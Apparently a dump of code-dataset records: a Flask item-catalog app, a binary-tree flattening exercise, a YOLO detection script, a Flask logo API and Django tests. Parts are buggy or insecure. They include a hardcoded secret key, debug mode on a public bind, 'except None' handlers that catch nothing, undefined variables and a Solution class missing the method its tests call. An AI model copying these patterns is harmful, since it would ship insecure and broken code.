doesn't\n # exist and then you do a PageNotFound when the object is None.\n try:\n category = session.query(Category).\\\n filter_by(id=category_id).one_or_none()\n except None:\n return PageNotFound\n\n categories = session.query(Category).all()\n items = session.query(Item).filter_by(\n category=category).order_by(asc(Item.title))\n # # return count of item \"id\" grouped by category_id\n categoryItems = session.query(func.count(\n Item.id)).filter_by(\n category_id=category.id).one()\n\n # # If a user isn't logged in or isn't the original creator, we would\n # render one template or the other. # Decide which page to show,\n # index or category.html\n if 'username' not in login_session:\n return redirect('/login')\n else:\n return render_template(\n 'category.html',\n categories=categories,\n category=category,\n items=items,\n categoryItems=categoryItems)\n\n\n# Role required - creator\n@app.route('/catalog/create', methods=['GET', 'POST'])\ndef newCategory():\n \"\"\" Renders a form for input of a new Category - GET request.\n if I get a post -redirect to 'showCatalog' after creating\n new Category info.\n \"\"\"\n # ADD LOGIN PERMISSION\n # If a username is not detected for a given request.\n # Lets redirect to login page.\n if 'username' not in login_session:\n return redirect('/login')\n # Create an if statement that looks for a post request.\n # By calling request method\n if request.method == 'POST':\n # Extract the name field from my form. .get used b/c of bad request key\n newCategory = Category(\n name=request.form['name'],\n user_id=login_session.get('user_id'))\n session.add(newCategory)\n session.commit()\n flash('New Category %s Successfully \\\n Created' % newCategory.name)\n # To redirect my user back to the main page.\n # I can use a helper function\n # Url for takes the name of the function as the first arg,\n # and a number of key args, each corresponding to the variable\n # part of the URL rule.\n return redirect(url_for('showCatalog'))\n else:\n # If my server did not receive a post request, it will go ahead\n # and render the template for the new HTML template that i created.\n return render_template('newcategory.html')\n\n\n# Role required -employee creator\n@app.route('/catalog/<category_name>/<int:category_id>\\\n/edit', methods=['GET', 'POST'])\ndef editACategoryName(category_name, category_id):\n \"\"\"1. First execute a query to find the exact item we want\n to update: Find entry and store it in a variable\n 2. Next Reset values: we declare the new name of\n the variable\n 3. Next we add the variable to our session\n 4. Finally we commit the the session the database\n \"\"\"\n # Execute a query to find the category and store it in\n # a variable editedCategory.\n try:\n categoryToEdit = session.query(Category).\\\n filter_by(id=category_id).one_or_none()\n except None:\n return PageNotFound\n\n # ADD LOGIN PERMISSION\n # Protect app modification from non-users\n # If a username is not detected for a given request.\n # Lets redirect to login page.\n if 'username' not in login_session:\n return redirect('/login')\n # Verify that a user is logged in by\n # checking if the username has a variable filled in\n # If a user isn't logged in \"Alert message\"\n if categoryToEdit.user.id != login_session['user_id']:\n return \"<script>function myFunction() {alert( 'You are not\\\n authorized to edit this category.');}\\\n </script><body onload='myFunction()'>\"\n\n # Create an if statement that looks for a post request.\n # By calling request method\n if request.method == 'POST':\n # Then create an if statement that looks for a name in the form.\n # By calling request form get.\n if request.form['name']:\n # Now reset the name of the category to the new name from the form\n categoryToEdit.name = request.form['name']\n # To edit, you don't need to add it again.\n session.commit()\n flash('Category successfully edited %s' % categoryToEdit.name)\n # Redirect the user back to the home page.\n return redirect(url_for('showCatalog'))\n else:\n return render_template(\n 'editacategoryname.html',\n category=categoryToEdit)\n\n\n# Role required - employee creator\n@app.route('/catalog/<category_name>/<int:category_id>\\\n/delete', methods=['GET', 'POST'])\ndef deleteCategory(category_name, category_id):\n # Execute a query to find the category and store it in a variable.\n try:\n category = session.query(Category).\\\n filter_by(id=category_id).one_or_none()\n except None:\n return PageNotFound\n\n try:\n categoryToDelete = session.query(Category).\\\n filter_by(id=category_id).one_or_none()\n except None:\n return PageNotFound\n creator = getUserInfo(category.user_id)\n\n # ADD LOGIN PERMISSION\n # If a user name is not detected for a given request.\n # Lets redirect to login page.\n if 'username' not in login_session:\n return redirect('/login')\n # To protect each item based on whoever created it.\n # If a user isn't logged in or isn't the original creator\n if categoryToDelete.user.id != login_session['user_id']:\n # The script gives not only an alert that you are not,\n # but also we stay where we are right here.\n return \"<script>function myFunction() {alert('You are not\\\n authorized to delete this category.\\\n Please create your own category in order\\\n to edit categories.');}</script><body onload='myFunction()'>\"\n else:\n render_template('deletecategory.html', category=categoryToDelete,\n creator=creator)\n\n # if not we stay here- render_template('deletecategory.html', category=categoryToDelete)\n\n # Create an if statement that looks for a post request.\n # By calling request method\n if request.method == 'POST':\n session.delete(categoryToDelete)\n session.commit()\n flash('%s Successfully Deleted' % categoryToDelete.name)\n return redirect(url_for('showCatalog'))\n else:\n return render_template('deletecategory.html',\n category = categoryToDelete)\n\n@app.route('/catalog/myitems/')\ndef showUserItems():\n \"\"\"If logged in, show the user the items they have added.\"\"\"\n if 'username' not in login_session:\n return redirect('/login')\n\n user_id = get_user_id(login_session['email'])\n\n categories = session.query(Category).all()\n items = session.query(Item).filter_by(user_id=user_id).all()\n\n if not items:\n flash(\"You haven't add any animals yet.\")\n redirect(url_for('showCatalog'))\n\n return render_template('useritems.html',\n categories=categories,\n items=items)\n\n\n# \"This page is the Item for %s\" % item_id\n@app.route('/catalog/<category_name>/<int:category_id>/<item_title>/<int:item_id>/')\n#@login_required\ndef showItem(category_name, category_id, item_title, item_id):\n # Add SQLAlchemy statements\n \"\"\"Renders product information web page of an item.\n \"\"\"\n try:\n category = session.query(Category).\\\n filter_by(id = category_id).one_or_none()\n\n except None: # If a NoneType object is returned\n return PageNotFound\n\n try:\n item = session.query(Item).filter_by(id = item_id).one_or_none()\n except None: # If a NoneType object is returned\n return PageNotFound\n\n creator = getUserInfo(item.user_id)\n\n # # # If there is a username value in the login_session, we would\n # render one template or the other.\n if 'username' not in login_session:\n return redirect(url_for('/login'))\n # Decide which page should be visible to the public\n # And which one should be private\n else:\n return render_template('item.html',\n category = category,\n item = item,\n creator = creator)\n\n\n# Role required: User- creator\n# \"This page will be for adding a new Item\"\n@app.route('/catalog/new', methods = ['GET', 'POST'])\n#@login_required\ndef newItem():# Add item base on category name.\n \"\"\" Renders a form for input of a new item - GET request. if I get a post -redirect to 'showItem' after creating new item.\n \"\"\"\n # ADD LOGIN PERMISSION\n # Protect app modification from non-users\n # If a username is not detected for a given request.\n # Lets redirect to login page.\n\n if 'username' not in login_session:\n return redirect('/login')\n\n categories = session.query(Category).all()\n\n # Add SQLAlchemy statements\n if request.method == 'POST':\n # This is key to retreiving category from the form.\n try:\n category = (session.query(Category).filter_by(\n name= request.form.get('category')).one_or_none())\n except None:# If a NoneType object is returned\n return PageNotFound\n\n newItem = Item(category = category,\n title = request.form['title'],\n description = request.form['description'],\n price = request.form['price'],\n user_id=login_session['user_id'])\n # access the file from the files dictionary\n # on request object:\n #file = request.files['file']\n\n # Process optional item image.\n image_file =request.files['file']\n if image_file and allowed_file(image_file.filename):\n filename = secure_filename(image_file.filename)\n if os.path.isdir(app.config['UPLOAD_FOLDER']) is False:\n os.mkdir(app.config['UPLOAD_FOLDER'])\n image_file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n newItem.image_filename = filename\n elif request.form['basic_url']:\n newItem.basic_url = request.form['basic_url']\n\n session.add(newItem)\n session.commit()\n flash('New Item %s successfully Created' % newItem.title)\n # Now define the url variable path to the newItem created.\n\n creator = getUserInfo(newItem.user_id)\n # Show response to my post request in the client.\n return redirect(url_for('showItem', category_name=category_name,\n category_id=category_id, item_title=item_title, item_id=item_id,\n creator = creator))\n else:\n return render_template('newitem.html', categories = categories)\n\n\n# Role required user- creator\n# \"This page is for editing Item %s\" % item_id\n@app.route('/catalog//<category_name>/<int:category_id>/<item_title>/<int:item_id>/edit', methods = ['GET', 'POST'])\n#@login_required\ndef editItem(category_name, category_id, item_title, item_id):\n \"\"\"Edit the details of the specified item.\n Returns a GET with edititem.html - form with inputs to edit item info\n if I get a post - redirect to 'showCategory' after updating item info.\n \"\"\"\n # ADD LOGIN PERMISSION\n # If a user name is not detected for a given request.\n # Lets redirect to login page.\n if 'username' not in login_session:\n return redirect('/login')\n # Add SQLAlchemy statements\n categories = session.query(Category).all()\n\n try:\n category = session.query(Category).\\\n filter_by(id = category_id).one_or_none()\n except None: # If a NoneType object is returned\n return PageNotFound\n\n try:\n editedItem = session.query(Item).filter_by(\n id = item_id).one_or_none()\n except None:\n # If a NoneType object is returned\n return PageNotFound\n return redirect(url_for('showCatalog'))\n\n # To protect each item based on whoever created it.\n creator = getUserInfo(editedItem.user_id)\n\n\n # ADD ALERT MESSAGE TO PROTECT.\n # If a user isn't logged in or isn't the original creator\n if 'username' not in login_session or creator.id !=login_session['user_id']:\n return \"<script>function myFunction() {alert('You are not authorized to edit this item. Please create your own item in order to edit items.');}</script><body onload='myFunction()'>\"\n\n\n if request.method == 'POST':\n # This is key to retreiving the category from the form.\n category = (session.query(Category).filter_by(\n name= request.form.get('category')).one())\n if request.form['title']:\n editedItem.title = request.form['title']\n if request.form['description']:\n editedItem.description = request.form['description']\n if request.form['price']:\n editedItem.price = request.form['price']\n if request.files['file']:\n editedItem.image_filename = request.files['file']\n\n # Process optional item image\n image_file = request.files['file']\n if image_file and allowed_file(image_file.filename):\n if editedItem.image_filename:\n delete_image(editedItem.image_filename)\n filename = secure_filename(image_file.filename)\n if os.path.isdir(app.config['UPLOAD_FOLDER']) is False:\n os.mkdir(app.config['UPLOAD_FOLDER'])\n image_file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\n editedItem.image_filename = filename\n editedItem.basic_url = None\n\n elif ('delete_image' in request.form and\n request.form['delete_image'] == 'delete'):\n if editedItem.image_filename:\n delete_image(editedItem.image_filename)\n\n if not image_file and request.form['basic_url']:\n editedItem.basic_url = request.form['basic_url']\n if editedItem.image_filename:\n delete_image(editedItem.image_filename)\n\n\n session.add(editedItem)\n session.commit()\n flash('Item Successfully Edited')\n return redirect(url_for('showCategory', category_name=category_name,\n category_id = category_id))\n else:\n return render_template('edititem.html', category = category,\n categories = categories,\n item = editedItem)\n\n# Role required: User creator\n# \"This page is for deleting Item %s\" %item_id\n@app.route('/catalog/<category_name>/<int:category_id>/<item_title>/<int:item_id>/delete', methods = ['GET', 'POST'])\n#@login_required\ndef deleteItem(category_name, category_id, item_title, item_id):\n # Add SQLAlchemy statements\n \"\"\"Delete a specified item from the database.\n Returns:\n GET: deleteitem.html - form for confirmation prior to deletion of item.\n POST: if I get a post -redirect to 'showCategory' after item info deletion.\n \"\"\"\n # ADD LOGIN PERMISSION\n # If a user name is not detected for a given request.\n # Lets redirect to login page.\n if 'username' not in login_session:\n return redirect('/login')\n # filter_by uses the names of the columns in a table\n try:\n category = session.query(Category).\\\n filter_by(id = category_id).one_or_none()\n except None: # If a NoneType object is returned\n return PageNotFound\n\n try:\n itemToDelete = session.query(Item).filter_by(\n id =item_id).one_or_none()\n except None: # If a NoneType object is returned\n return PageNotFound\n\n creator = getUserInfo(itemToDelete.user_id)\n # ADD ALERT MESSAGE TO PROTECT.\n # If a user isn't logged in or isn't the original creator\n if 'username' not in login_session or creator.id !=login_session['user_id']:\n return \"<script>function myFunction() {alert('You are not authorized to edit this item. Please create your own item in order to edit items.');}</script><body onload='myFunction()'>\"\n if request.method == 'POST':\n session.delete(itemToDelete)\n session.commit()\n flash('Item Successfully Deleted')\n return redirect(url_for('showCategory',\n category_name = category_name,\n category_id =category_id))\n else:\n return render_template('deleteitem.html', category = category,\n item = itemToDelete)\n\n\n@app.route('/logout')\n#@login_required\ndef disconnect():\n \"\"\"Checks if the provider has been set in login_session\"\"\"\n\n if 'provider' in login_session:\n if login_session['provider'] == 'google':\n gdisconnect()\n del login_session['gplus_id']\n del login_session['access_token']\n if login_session['provider'] == 'facebook':\n fbdisconnect()\n del login_session['facebook_id']\n del login_session['username']\n del login_session['email']\n del login_session['picture']\n del login_session['user_id']\n del login_session['provider']\n flash(\"You have successfully been logged out.\")\n return redirect(url_for('showCatalog'))\n else:\n flash(\"You were not logged in\")\n return redirect(url_for('showCatalog'))\n\n\n@app.route('/item_images/<filename>')\ndef show_item_image(filename):\n \"\"\"Route to serve user uploaded images.\n Args:\n filename (str): Filename of the image to serve to the client.\n \"\"\"\n return send_from_directory(app.config['UPLOAD_FOLDER'], filename)\n\n\nif __name__ == '__main__':\n app.secret_key = 'super_secret_key'\n # app.debug = True\n # app.run(ssl_context='adhoc')\n # app.run(threaded=False)\n app.config['UPLOAD_FOLDER']= True\n app.run(host = '0.0.0.0', port = 8000)\n\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":35329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"269815030","text":"#coding=utf-8\n\nimport unittest\nfrom util.tree_node import TreeNode\n\n\"\"\"\nFlatten a binary tree to a fake \"linked list\" in pre-order traversal.\n\nHere we use the right pointer in TreeNode as the next pointer in ListNode.\n\n Notice\n\nDon't forget to mark the left child of each node to null. Or you will get Time Limit Exceeded or Memory Limit Exceeded.\n\nHave you met this question in a real interview? Yes\nExample\n 1\n \\\n 1 2\n / \\ \\\n 2 5 => 3\n / \\ \\ \\\n 3 4 6 4\n \\\n 5\n \\\n 6\nChallenge \nDo it in-place without any extra memory.\n\nTags \nBinary Tree Depth First Search\nRelated Problems \nMedium Flatten 2D Vector 46 %\nMedium Flatten Nested List Iterator 27 %\nMedium Convert Binary Search Tree to Doubly Linked List 29 %\nMedium Convert Sorted List to Balanced BST\n\n\n\"\"\"\n\n\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n this.val = val\n this.left, this.right = None, None\n\"\"\"\n\n\nclass Solution: # 29% cases passed, locally : RuntimeError: maximum recursion depth exceeded\n # @param root: a TreeNode, the root of the binary tree\n # @return: nothing\n def flatten_ref(self, root): # ref, use stack, step into and try to understand how it works\n \"\"\"\n Impression is that the current node 's right will be the stack top element.\n :param root: \n :return: \n \"\"\"\n if not root:\n return None\n stack = [root]\n while stack:\n node = stack.pop()\n if node.right:\n stack.append(node.right)\n if node.left:\n stack.append(node.left)\n node.left = None\n if stack:\n node.right = stack[-1]\n else:\n node.right = None\n\n\n def flatten2(self, root): # ref jiuzhang idea\n # write your code here\n if not root:\n return\n self.flatten(root.left)\n self.flatten(root.right)\n cur = root.left\n if cur:\n # while cur.left: #wrong, already flatten, should be right\n # cur = cur.left\n while cur.right:\n cur = cur.right\n cur.right = root.right\n root.right = root.left\n root.left = None\n\n\n def flatten1(self, root):\n # write your code here\n if not root:\n return\n self.pre_dfs(root)\n\n def pre_dfs(self, root):\n if not root:\n return None, None\n right = root.right\n tail = root\n if root.left:\n lhead, ltail = self.pre_dfs(root.left)\n root.right = lhead\n ltail.right = right\n tail = ltail\n root.left = None\n if right:\n # rhead, rtail = self.pre_dfs(root.right) # wrong to say root.right here, already modified, should be right\n rhead, rtail = self.pre_dfs(right)\n tail.right = rhead\n tail = rtail\n return root, tail\n\n\nclass SolutionTester(unittest.TestCase):\n def setUp(self):\n self.sol = Solution()\n\n def test_case2(self):\n nums = [1,2]\n root = TreeNode.generate_bt_from_list(nums)\n answer = [1,2]\n self.sol.flatten(root)\n result = TreeNode.get_tree_right_list(root)\n self.assertEqual(answer, result)\n\n def test_case1(self):\n nums = [1,2,5,3,4,None, 6]\n root = TreeNode.generate_bt_from_list(nums)\n answer = [1,2,3,4,5,6]\n self.sol.flatten(root)\n result = TreeNode.get_tree_right_list(root)\n self.assertEqual(answer, result)\n\n\n def test_case11(self): #===>\n nums = \"98,97,#,88,#,84,#,79,87,64,#,#,#,63,69,62,#,#,#,30,#,27,59,9,#,#,#,3,#,0,#,-4,#,-16,#,-18,-7,-19,#,#,#,-23,#,-34,#,-42,#,-59,#,-63,#,-64,#,-69,#,-75,#,-81\"\n answer = \"98,#,97,#,88,#,84,#,79,#,64,#,63,#,62,#,30,#,27,#,9,#,3,#,0,#,-4,#,-16,#,-18,#,-19,#,-23,#,-34,#,-42,#,-59,#,-63,#,-64,#,-69,#,-75,#,-81,#,-7,#,59,#,69,#,87\"\n from util.tree_node import TreeNode\n root = TreeNode.generate_bt_from_string_standard(nums)\n answer_tree = TreeNode.generate_bt_from_string_standard(answer)\n self.sol.flatten(root)\n compare = TreeNode.compare_tree(root, answer_tree)\n self.assertTrue(compare)\n\n\ndef main():\n suite = unittest.TestLoader().loadTestsFromTestCase(SolutionTester)\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n#-*- coding:utf-8 -*-\n\n\"\"\"\n\njiuzhang answer: \n\n\nclass Solution:\n # @param root: a TreeNode, the root of the binary tree\n # @return: nothing\n def flatten(self, root):\n # write your code here\n if root == None:\n return\n self.flatten(root.left)\n self.flatten(root.right)\n p = root\n if p.left == None:\n return\n p = p.left\n while p.right:\n p = p.right\n p.right = root.right\n root.right = root.left\n root.left = None\n\n\n====================================================================================\n\njiuzhang Java version\n\n /**\n * 本代码由九章算法编辑提供。版权所有，转发请注明出处。\n * - 九章算法致力于帮助更多中国人找到好的工作，教师团队均来自硅谷和国内的一线大公司在职工程师。\n * - 现有的面试培训课程包括：九章算法班，系统设计班，算法强化班，Java入门与基础算法班，Android 项目实战班，Big Data 项目实战班，\n * - 更多详情请见官方网站：http://www.jiuzhang.com/?source=code\n */ \n\n// Version 1: Traverse\npublic class Solution {\n private TreeNode lastNode = null;\n\n public void flatten(TreeNode root) {\n if (root == null) {\n return;\n }\n\n if (lastNode != null) {\n lastNode.left = null;\n lastNode.right = root;\n }\n\n lastNode = root;\n TreeNode right = root.right;\n flatten(root.left);\n flatten(right);\n }\n}\n\n// version 2: Divide & Conquer\npublic class Solution {\n /**\n * @param root: a TreeNode, the root of the binary tree\n * @return: nothing\n */\n public void flatten(TreeNode root) {\n helper(root);\n }\n \n // flatten root and return the last node\n private TreeNode helper(TreeNode root) {\n if (root == null) {\n return null;\n }\n \n TreeNode leftLast = helper(root.left);\n TreeNode rightLast = helper(root.right);\n \n // connect leftLast to root.right\n if (leftLast != null) {\n leftLast.right = root.right;\n root.right = root.left;\n root.left = null;\n }\n \n if (rightLast != null) {\n return rightLast;\n }\n \n if (leftLast != null) {\n return leftLast;\n }\n \n return root;\n }\n}\n\n// version 3: Non-Recursion\n/**\n * Definition of TreeNode:\n * public class TreeNode {\n * public int val;\n * public TreeNode left, right;\n * public TreeNode(int val) {\n * this.val = val;\n * this.left = this.right = null;\n * }\n * }\n */\npublic class Solution {\n /**\n * @param root: a TreeNode, the root of the binary tree\n * @return: nothing\n */\n public void flatten(TreeNode root) {\n if (root == null) {\n return;\n }\n \n Stack<TreeNode> stack = new Stack<>();\n stack.push(root);\n \n while (!stack.empty()) {\n TreeNode node = stack.pop();\n if (node.right != null) {\n stack.push(node.right);\n }\n if (node.left != null) {\n stack.push(node.left);\n }\n \n // connect \n node.left = null;\n if (stack.empty()) {\n node.right = null;\n } else {\n node.right = stack.peek();\n }\n }\n }\n}\n\n\n\n\n\"\"\"\n\n\n\n\n","sub_path":"mjbeto/flatten_binary_tree to_linked_list.py","file_name":"flatten_binary_tree to_linked_list.py","file_ext":"py","file_size_in_byte":8101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"334903810","text":"import sys\nimport os\nimport argparse\nfrom yolo import YOLO, detect_video\nfrom PIL import Image\nimport numpy as np\n\ndef detect_img(yolo, input_path, output_path='predict.txt'):\n if input_path == '':\n while True:\n img = input('Input image filename:')\n try:\n image = Image.open(img)\n except:\n print('Open Error! Try again!')\n continue\n else:\n r_image, _, _, _ = yolo.detect_image(image)\n r_image.show()\n else:\n if output_path == \"\":\n output_path='predict.txt'\n\n list_image = []\n\n if os.path.isfile(input_path):\n with open(input_path, 'r') as f:\n lines = f.readlines()\n for line in lines:\n list_image.append(line.split()[0])\n elif os.path.isdir(input_path):\n for file in os.listdir(input_path):\n if file.endswith(\".jpg\"):\n list_image.append(os.path.join(\"input_path\", file))\n else:\n print(\"Input path is invalid\")\n yolo.close_session()\n return\n\n f = open(output_path, 'w')\n for img in list_image:\n print(\"Process \" + img)\n try:\n image = Image.open(img)\n except:\n print('Open Error! Try again!')\n continue\n else:\n line = img\n _, r_out_boxes, r_out_scores, r_out_classes = yolo.detect_image(image)\n\n for i in range(len(r_out_boxes)):\n top, left, bottom, right = r_out_boxes[i]\n top = max(0, np.floor(top + 0.5).astype('int32'))\n left = max(0, np.floor(left + 0.5).astype('int32'))\n bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))\n right = min(image.size[0], np.floor(right + 0.5).astype('int32'))\n\n line += ' {},{},{},{},{},{},{}'.format(top, left, bottom, right,\n r_out_scores[i],\n r_out_classes[i],\n yolo.class_names[r_out_classes[i]])\n f.write(line + '\\n')\n\n f.close()\n\n yolo.close_session()\n\nFLAGS = None\n\nif __name__ == '__main__':\n # class YOLO defines the default value, so suppress any default here\n parser = argparse.ArgumentParser(argument_default=argparse.SUPPRESS)\n '''\n Command line options\n '''\n parser.add_argument(\n '--model_path', type=str,\n help='path to model weight file, default ' + YOLO.get_defaults(\"model_path\")\n )\n\n parser.add_argument(\n '--anchors_path', type=str,\n help='path to anchor definitions, default ' + YOLO.get_defaults(\"anchors_path\")\n )\n\n parser.add_argument(\n '--classes_path', type=str,\n help='path to class definitions, default ' + YOLO.get_defaults(\"classes_path\")\n )\n\n parser.add_argument(\n '--gpu_num', type=int,\n help='Number of GPU to use, default ' + str(YOLO.get_defaults(\"gpu_num\"))\n )\n\n parser.add_argument(\n \"--font_path\", type=str,\n help='path to font, default ' + YOLO.get_defaults(\"font_path\")\n )\n\n parser.add_argument(\n '--image', default=False, action=\"store_true\",\n help='Image detection mode, will ignore all positional arguments'\n )\n '''\n Command line positional arguments -- for video detection mode\n '''\n parser.add_argument(\n \"--input\", nargs='?', type=str,required=False,default='',\n help = \"Video input path\"\n )\n\n parser.add_argument(\n \"--output\", nargs='?', type=str, default=\"\",\n help = \"[Optional] Video output path\"\n )\n\n FLAGS = parser.parse_args()\n\n if FLAGS.image:\n \"\"\"\n Image detection mode, disregard any remaining command line arguments\n \"\"\"\n print(\"Image detection mode\")\n if \"input\" in FLAGS:\n print(\" Ignoring remaining command line arguments: \" + FLAGS.input + \",\" + FLAGS.output)\n detect_img(YOLO(**vars(FLAGS)), FLAGS.input, FLAGS.output)\n elif \"input\" in FLAGS:\n detect_video(YOLO(**vars(FLAGS)), FLAGS.input, FLAGS.output)\n else:\n print(\"Must specify at least video_input_path. See usage with --help.\")\n","sub_path":"yolo_video.py","file_name":"yolo_video.py","file_ext":"py","file_size_in_byte":4436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"92783416","text":"\"\"\"\nCreated By : Prasad Pingle\nCreated At : 26 June 2019\nDescription : This is sample flask application with sample API \n to get company details and create logo\nDependancies: Data file \"data/CompaniesList.json\" which contains company details.\n\"\"\"\n\nfrom flask import Flask, request, jsonify, render_template,send_file\nimport json\nimport os\nimport pprint\n\napp = Flask(__name__)\napp.config[\"DEBUG\"] = True\n\n\n\"Configuration for LOGO LETTERS as alphanumeric only or alphanumeric plus characters (COMMENT ONE OF THE BELOW LINE)\"\nCONST_COMPANY_LETTERS = \"ALPHANUM\"\n# CONST_COMPANY_LETTERS = \"ALPHANUM+SPECIAL\"\n\n\n# Defining the data source for the company details\ndata_source = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"data/CompaniesList.json\")\n\n\n# Function read_json_data() : reading the data from json file\n# Created By: Prasad Pingle 30/06/2019\ndef read_json_data(data_source):\n try:\n fp = open(data_source, encoding=\"utf8\") #reading the file in UTF-8 format\n data = json.loads(fp.read())\n return data\n except:\n return jsonify(\"Cannot read file\")\n\n# Function get_all_company_logos() : generating the company logos for all files and passing the generated file for download\n# Created By: Prasad Pingle 30/06/2019\n@app.route('/api/v1/resources/getCompanyLogo/<company_id>', methods=['GET'])\ndef get_company_logo(company_id):\n company_details = read_json_data(data_source)\n company_id = company_id.upper() #Converting to uppercase for handling as IDs are stored in uppercase format in JSON file (CONFIGURABLE)\n try:\n for company_ctr in range(len(company_details)):\n if ('Company Name' in company_details[company_ctr] and 'CompanyId' in company_details[company_ctr] \n and company_details[company_ctr]['CompanyId'] == company_id):\n company_name = company_details[company_ctr]['Company Name'].strip().lower()\n alpha_sort = ''.join(sorted(company_name)) #Sorting the name alphabetically\n if len(alpha_sort) > 0:\n occurence_obj = {}\n occurence_obj = check_occurence(str(alpha_sort))\n logo = generate_logo(occurence_obj)\n company_details[company_ctr]['logoCharacters'] = \",\".join(logo)\n print(\"LOGO\",company_details[company_ctr]['logoCharacters'])\n break\n logo_details = {}\n logo_details['companyId'] = company_details[company_ctr]['CompanyId']\n logo_details['companyName'] = company_details[company_ctr]['Company Name']\n logo_details['companyLogo'] = company_details[company_ctr]['logoCharacters']\n\n return render_template('view_logo.html', companyDetails = logo_details)\n except:\n return render_template('create_logo.html', companyDetails = \"Please enter valid ID\")\n\n\n# Function check_occurence() : checking the occurence of each letter in the company name and returning the object\n# Created By: Prasad Pingle 30/06/2019\ndef check_occurence(str):\n occurence = {}\n for c in str:\n try:\n if CONST_COMPANY_LETTERS == \"ALPHANUM\": #CONFIGURABLE \n if c != \" \" and c.isalnum() == True: #Ignoring the whitespaces as well as special characters\n occurence[c] = str.count(c)\n elif CONST_COMPANY_LETTERS == \"ALPHANUM+SPECIAL\": #CONFIGURABLE\n if c != \" \": #Ignoring the whitespaces but allowing special characters\n occurence[c] = str.count(c)\n except:\n continue\n return occurence\n\n# Function generate_logo() : generating the logo for each company name\n# Created By: Prasad Pingle 30/06/2019\ndef generate_logo(occurence_obj):\n occ_keys = []\n occ_values = []\n occ_keys = list(occurence_obj.keys()) # separating the keys from occurence_obj\n occ_values = list(occurence_obj.values()) # separating the values from occurence_obj\n logo = []\n if len(occ_values) > 0:\n for counter in range(len(occ_values)):\n try:\n max_occ = max(occ_values)\n max_element_index = occ_values.index(max_occ)\n letter = occ_keys[max_element_index]\n logo.append(letter.upper()) #capitalizing the letter\n occ_keys.pop(max_element_index) #removing the maximum element\n occ_values.pop(max_element_index)\n if counter == 2:\n break\n except:\n continue\n return logo\n\n\n# Function create_output_file() : create an output file for logo details(FUTURE SCOPE)\n# Created By: Prasad Pingle 30/06/2019\ndef create_output_file(company_details):\n formatted_company_details = json.dumps(company_details, indent=4)\n f = open(\"company_logo.json\", \"w\")\n f.write((format(formatted_company_details)))\n f.close()\n return formatted_company_details\n \n# Homepage for downloading the company logo file\n# Created By: Prasad Pingle 30/06/2019\n@app.route('/')\ndef index():\n return render_template('create_logo.html')\n\n# Running the application on localhost:8888\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8888)\n\n#Handling for invalid routes\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('create_logo.html', companyDetails = \"Please enter a Id\")","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"138474583","text":"import pytest\nfrom django.shortcuts import reverse\nfrom django.db import transaction\n\nfrom topobank.manager.tests.utils import SurfaceFactory, Topography1DFactory, UserFactory\nfrom topobank.analysis.tests.utils import TopographyAnalysisFactory\nfrom topobank.analysis.models import Analysis, AnalysisCollection\nfrom topobank.manager.utils import subjects_to_json\n\n\n@pytest.mark.django_db\ndef test_submit_analyses_api(client, test_analysis_function, handle_usage_statistics):\n \"\"\"Test API to submit new analyses.\"\"\"\n\n user = UserFactory()\n surface = SurfaceFactory(creator=user)\n topo1 = Topography1DFactory(surface=surface)\n topo2 = Topography1DFactory(surface=surface)\n\n func = test_analysis_function\n\n client.force_login(user)\n\n with transaction.atomic():\n # trigger \"recalculate\" for two topographies\n response = client.post(reverse('analysis:card-submit'), {\n 'function_id': func.id,\n 'subjects_ids_json': subjects_to_json([topo1, topo2]),\n 'function_kwargs_json': '{}'\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest') # we need an AJAX request\n assert response.status_code == 200\n\n #\n # Analysis objects should be there and marked for the user\n #\n analysis1 = Analysis.objects.get(function=func, topography=topo1)\n analysis2 = Analysis.objects.get(function=func, topography=topo2)\n\n assert user in analysis1.users.all()\n assert user in analysis2.users.all()\n\n #\n # Don't know yet how execute tasks locally without task queue\n # Celery's \"task_always_eager\" is not suitable for unit testing.\n #\n #\n # assert analysis1.task_state == 'su'\n # assert analysis2.task_state == 'su'\n #\n # #\n # # Collection object should be there and contain those analyses\n # #\n # collection = AnalysisCollection.objects.get(owner=user)\n #\n # assert collection.analyses.count() == 2\n # assert analysis1 in collection.analyses.all()\n # assert analysis2 in collection.analyses.all()\n #\n # #\n # # Notification should be there, since the task has already performed\n # #\n # note = Notification.objects.get(recipient=user, description__contains=\"Tasks finished\")\n # assert note.href == reverse('analysis:collection', kwargs=dict(collection_id=collection.id))\n\n\n@pytest.mark.django_db\ndef test_renew_analyses_api(client, test_analysis_function):\n \"\"\"Test whether existing analyses can be renewed by API call.\"\"\"\n\n user = UserFactory()\n surface = SurfaceFactory(creator=user)\n topo1 = Topography1DFactory(surface=surface)\n topo2 = Topography1DFactory(surface=surface)\n\n func = test_analysis_function\n\n analysis1a = TopographyAnalysisFactory(subject=topo1, function=func)\n analysis2a = TopographyAnalysisFactory(subject=topo2, function=func)\n\n client.force_login(user)\n\n with transaction.atomic():\n # trigger \"renew\" for two specific analyses\n response = client.post(reverse('analysis:renew'), {\n 'analyses_ids[]': [analysis1a.id, analysis2a.id],\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest') # we need an AJAX request\n assert response.status_code == 200\n\n #\n # Old analyses should be deleted\n #\n with pytest.raises(Analysis.DoesNotExist):\n Analysis.objects.get(id=analysis1a.id)\n with pytest.raises(Analysis.DoesNotExist):\n Analysis.objects.get(id=analysis2a.id)\n\n #\n # New Analysis objects should be there and marked for the user\n #\n analysis1b = Analysis.objects.get(function=func, topography=topo1)\n analysis2b = Analysis.objects.get(function=func, topography=topo2)\n\n assert user in 